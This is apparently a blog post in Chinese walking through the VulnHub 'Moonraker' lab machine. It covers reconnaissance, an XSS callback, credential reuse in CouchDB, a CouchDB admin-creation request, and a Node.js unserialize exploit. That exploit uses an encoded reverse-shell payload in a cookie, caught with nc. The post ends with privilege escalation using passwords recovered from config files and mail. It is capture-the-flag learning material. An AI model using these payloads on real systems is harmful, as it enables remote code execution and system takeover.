其他分享
首页 > 其他分享> > Moonraker

Moonraker

作者:互联网

Moonraker

目录

下载地址:Moonraker: 1 ~ VulnHub

1 信息收集

image-20220213122008295

1.1 端口扫描

image-20220215205155531

1.2 后台目录扫描

# Dirsearch started Tue Feb 15 20:52:43 2022 as: dirsearch.py -x403 -u http://192.168.0.3/

301   315B   http://192.168.0.3:80/accounting    -> REDIRECTS TO: http://192.168.0.3/accounting/
200   719B   http://192.168.0.3:80/index.js
200   422B   http://192.168.0.3:80/index.html
200    26B   http://192.168.0.3:80/robots.txt
301   313B   http://192.168.0.3:80/services    -> REDIRECTS TO: http://192.168.0.3/services/
200     2KB  http://192.168.0.3:80/services/
200    52B   http://192.168.0.3:80/wp-config.php

1.3 目录分析

1.3.1 /services/

  1. 打开http://192.168.0.3:80/services/发现有一个超链接

    image-20220220094423853

  2. 点击进入http://192.168.0.3/svc-inq/sales.html,根据提示:对方会在5分钟左右的时间内查看我们所提交的信息。

    image-20220220094612183

  3. 在提交内容时, 发现对方是通过web方式查看提交的内容,尝试包含链接地址的xss能否被对方所读取

    1. image-20220220105341159

    2. kali配置如下:

      # 启动apache服务
      systemctl start apache2
      
      # 创建测试文件
      cat /var/www/html/test.txt     
      xss test.
      
      # 打开访问日志,确认测试文件是否被访问
      tail -f /var/log/apache2/access.log
      
    3. 提交内容如下:<img src=http://192.168.0.2/test.txt>

      image-20220220100717040

    4. 根据访问日志内容,发现提交的xss内容成功执行,所使用的页面为:http://127.0.0.1/svc-inq/salesmoon-gui.php

      image-20220220100935900

    5. 提交后的页面,存在一个返回主页的超链接:http://192.168.0.3/moonraker.html

      image-20220220100756699

1.3.2 /svc-inq/salesmoon-gui.php

  1. http://192.168.0.3/svc-inq/salesmoon-gui.php可以看到通过http://192.168.0.3/svc-inq/sales.html提交的信息展示在此处。

    image-20220220105924323

  2. 点击返回到上层目录:http://192.168.0.3/raker-sales/index.html

    image-20220220110128163

  3. 查看CouchDB Notes

    1. 发现包含有数据库用户的信息

      image-20220220110407810

    2. google走起,原来Jaws的女朋友名字叫:Dolly

      image-20220220110529211

  4. 查看Hugo's page moved to port 3k,

    image-20220220111332471

    1. 登录http://192.168.0.3:3000/,尝试构造cookie,无法登录

      1. profile:eyJ1c2VybmFtZSI6Imh1Z28ifQ==

        image-20220220114700714

        image-20220220114815711

      2. 通过注释可知,对方使用的是node.js,在代码中又存在序列化函数,是否与此有关呢?

1.3.3 moonraker.html

  1. http://192.168.0.3/moonraker.html

    image-20220220101219153

  2. 查看源码,共发现以下两个页面:

    1. /blog.html

      image-20220220104841561

    2. /cats/cats-gallery.html

      image-20220220104804779

2 利用收集的信息

2.1 尝试登录CouchDB

  1. CouchDB 登录方式,得知数据库版本为:2.2版本

    http://192.168.0.3:5984/_utils/#login
    

    image-20220220111652671

  2. 成功登录:jaws/dollyx99

    image-20220220111822370

  3. 查看user和replicator表,提示没有权限

    image-20220220111918177

  4. 查看Link表,目标存在以下链接

    image-20220220112312926

2.2 收集数据库中的信息

2.2.1 /HR-Confidential/offer-letters.html

  1. http://192.168.0.3/HR-Confidential/offer-letters.html

    image-20220220112620512

  2. 查看offer-letters中的信息,提示下载,打开后内容如下:

    Username: jaws
    Password: dollyx99
    
    Username: holly
    Password: ArchivesPistolsL2K
    
    CONFIDENTIAL:You do not have privileges for network access. 
    
    Username: hugo
    Password: TempleLasersL2K
    
    Username: guard
    Password: FacProxsL2K
    
  3. 根据1.3.2-4所收集的信息,尝试使用hugo登录:http://192.168.0.3:3000/,没什么东西

    image-20220220113646440

3 CouchDB垂直权限绕过漏洞利用

3.1 创建管理员

PUT /_users/org.couchdb.user:admin1 HTTP/1.1
Host: 192.168.0.3:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 94

{ "type": "user", "name": "admin1", "roles": ["_admin"], "roles": [], "password": "admin123" }

image-20220220121744971

3.2 尝试使用创建的账号登录

查看用户表仍然没有权限

image-20220220132219033

4 Node.js反序列化的漏洞执行远程代码利用

Web应用程序中的漏洞是它从HTTP请求中读取名为profile的cookie,对cookie值执行base64解码,并将其传递给unserialize()函数。由于cookie是不受信任的输入,攻击者可以制作恶意Cookie值以利用此漏洞。

4.1 下载exp

下载地址:Node.Js-Security-Course/nodejsshell.py at master · ajinabraham/Node.Js-Security-Course (github.com)

4.2 生成Payload

4.2.1 生成Payload

# Usage: nodejsshell.py <LHOST> <LPORT>
python2 nodejsshell.py 192.168.0.2 2333
[+] LHOST = 192.168.0.2
[+] LPORT = 2333
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,48,46,50,34,59,10,80,79,82,84,61,34,50,51,51,51,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

4.2.2 生成序列化的有效内容

# 将使用nodejsshell.py生成的payload替换下面的“payload”内容
{"rce":"_$$ND_FUNC$$_function (){payload}()"}

{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,48,46,50,34,59,10,80,79,82,84,61,34,50,51,51,51,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

4.2.3 有效内容进行base64编码

eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7ZXZhbChTdHJpbmcuZnJvbUNoYXJDb2RlKDEwLDExOCw5NywxMTQsMzIsMTEwLDEwMSwxMTYsMzIsNjEsMzIsMTE0LDEwMSwxMTMsMTE3LDEwNSwxMTQsMTAxLDQwLDM5LDExMCwxMDEsMTE2LDM5LDQxLDU5LDEwLDExOCw5NywxMTQsMzIsMTE1LDExMiw5NywxMTksMTEwLDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSw5OSwxMDQsMTA1LDEwOCwxMDAsOTUsMTEyLDExNCwxMTEsOTksMTAxLDExNSwxMTUsMzksNDEsNDYsMTE1LDExMiw5NywxMTksMTEwLDU5LDEwLDcyLDc5LDgzLDg0LDYxLDM0LDQ5LDU3LDUwLDQ2LDQ5LDU0LDU2LDQ2LDQ4LDQ2LDUwLDM0LDU5LDEwLDgwLDc5LDgyLDg0LDYxLDM0LDUwLDUxLDUxLDUxLDM0LDU5LDEwLDg0LDczLDc3LDY5LDc5LDg1LDg0LDYxLDM0LDUzLDQ4LDQ4LDQ4LDM0LDU5LDEwLDEwNSwxMDIsMzIsNDAsMTE2LDEyMSwxMTIsMTAxLDExMSwxMDIsMzIsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMTIsMTE0LD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DM0LDY4LDEwNSwxMTUsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiwxMDEsMTAwLDMzLDkyLDExMCwzNCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTExLDExMCw0MCwzOSwxMDEsMTE0LDExNCwxMTEsMTE0LDM5LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwxMDEsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDEsMTE2LDg0LDEwNSwxMDksMTAxLDExMSwxMTcsMTE2LDQwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDQ0LDMyLDg0LDczLDc3LDY5LDc5LDg1LDg0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwxMjUsMTAsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzksODIsODQsNDEsNTksMTApKX0oKSJ9

4.3 利用Payload

4.3.1 使用hugo登录http://192.168.0.3:3000/

image-20220220135328401

4.3.2 kali侦听2333端口

nc -nvlp 2333

4.3.3 使用Cookie头中的编码Payload向Web服务器发出请求。

GET / HTTP/1.1
Host: 192.168.0.3:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic aHVnbzpUZW1wbGVMYXNlcnNMMks=
Connection: close
Cookie: profile=eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY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DMyLDMyLDMyLDMyLDExNSwxMDEsMTE2LDg0LDEwNSwxMDksMTAxLDExMSwxMTcsMTE2LDQwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDQ0LDMyLDg0LDczLDc3LDY5LDc5LDg1LDg0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwxMjUsMTAsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzksODIsODQsNDEsNTksMTApKX0oKSJ9
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
If-None-Match: W/"5c-Hu0fOrq4gpzRr1hphtyepFR+674"


image-20220220135531537

4.3.4 getshell

image-20220220135724981

4.3.5 使用Python切换shell

python -c "import pty;pty.spawn('/bin/bash')"    

6 提权

6.1 尝试提权

  1. find / -perm -u=s -type f 2>/dev/null

    image-20220220155348833

  2. 查看是否有敏感文件

    find / -user hr 2>/dev/null
    

    image-20220220155454368

    image-20220220155427801

6.2 收集当前系统信息

  1. cat /opt/couchdb/etc/local.ini

    ;REMOVING Hugo's Admin access until front end is complete, uncomment to change -Jaws 
    ;hugo = 321Blast0ff!!
    

    image-20220220155248284

  2. 尝试切换用户登录,成功切换用户,但hugo并没有sudo权限

    su - hugo

    image-20220220155857290

  3. 突然想到mail还没有查,存在hugo的mail,果断去看

    image-20220220160209220

    image-20220220160353970

  4. get到root密码:root:cyber

    image-20220220161127082

6.3 提权成功

  1. su - root

    image-20220220161608190

标签:32,99,116,110,101,Moonraker,105
来源: https://www.cnblogs.com/f-carey/p/15938786.html